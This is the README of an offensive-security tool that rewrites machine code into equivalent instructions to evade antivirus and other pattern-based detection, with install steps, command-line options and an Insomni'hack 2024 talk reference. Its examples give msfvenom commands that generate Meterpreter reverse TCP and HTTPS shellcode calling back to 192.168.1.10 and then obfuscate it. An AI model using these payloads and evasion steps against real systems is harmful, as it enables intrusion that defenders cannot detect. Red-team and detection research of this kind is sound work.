De-Optimizer

This tool is a machine code de-optimizer. By transforming/mutating the machine code instructions to their functional equivalents it makes possible to bypass pattern-based detection mechanisms used by security products.

Why?

Bypassing security products is a very important part of many offensive security engagements. The majority of the current AV evasion techniques used in various different evasion tools, such as packers, shellcode encoders, and obfuscators, are dependent on the use of self-modifying code running on RWE memory regions. Considering the current state of security products, such evasion attempts are easily detected by memory analysis tools such as Moneta and Pe-sieve. This project introduces a new approach to code obfuscation with the use of machine code de-optimization. It uses certain mathematical approaches, such as arithmetic partitioning, logical inverse, polynomial transformation, and logical partitioning, for transforming/mutating the instructions of the target binary without creating any recognizable patterns. The tool is capable of transforming the instructions of a given binary up to ~95% by using the mentioned de-optimization tricks.

Watch the presentation for more...

• Why So Optimized? - Insomni'hack 2024

Installation

Download the pre-built release binaries HERE.

From Source

cargo install deoptimizer

Docker Install

docker run -it egee/deoptimizer -h

Usage

Warning

This project is still in the development stage! The available transform gadgets, functions, and command line parameter names may be adjusted, backward compatibility is not guaranteed.

---

Machine code deoptimizer.

Usage: deoptimizer [OPTIONS]

Options:
  -a, --arch <ARCH>                     Target architecture (x86/arm) [default: x86]
  -f, --file <FILE>                     target binary file name [default: ]
  -o, --outfile <OUTFILE>               output file name [default: ]
  -s, --source <SOURCE>                 source assembly file [default: ]
      --syntax <SYNTAX>                 assembler formatter syntax (nasm/masm/intel/gas) [default: keystone]
  -b, --bitness <BITNESS>               bitness of the binary file (16/32/64) [default: 64]
  -A, --addr <ADDR>                     start address in hexadecimal form [default: 0x0000000000000000]
      --skip-offsets <SKIP_OFFSETS>...  File offset range for skipping deoptimization (eg: 0-10 for skipping first ten bytes)
  -c, --cycle <CYCLE>                   total number of deoptimization cycles [default: 1]
  -F, --freq <FREQ>                     deoptimization frequency [default: 0.5]
      --transforms <TRANSFORMS>         allowed transform routines (ap/li/lp/om/rs) [default: ap,li,lp,om,rs]
      --allow-invalid                   allow processing of invalid instructions
  -v, --verbose                         verbose output mode
      --debug                           debug output mode
  -h, --help                            Print help
  -V, --version                         Print version

Examples

• Generate and de-optimize a 64 bit Metasploit reverse TCP shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o shellcode 
deoptimizer -a x86 -b 64 -F 1 -f /tmp/shellcode

• Generate and de-optimize a 64 bit Metasploit reverse HTTP(S) shellcode

Warning

Some shellcodes may cointain string values that needs to be skipped! In such cases the string offsets needs to be specified using the --skip-offsets parameter.

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=8080 -o shellcode 
deoptimizer -a x86 -b 64 -F 1 --skip-offsets 275-287 324-574  -f /tmp/shellcode

Currently Supported Architectures

• ✅ Supported
• 🚧 In progress
• ❌ Unsupported

Architecture	32	64
x86	✅	✅
ARM	❌	🚧
RISCV	❌	🚧

TO DO

• PE file support.
• ELF file support
• Mach-O file support.
• ARM architecture support.
• RISC5 architecture support.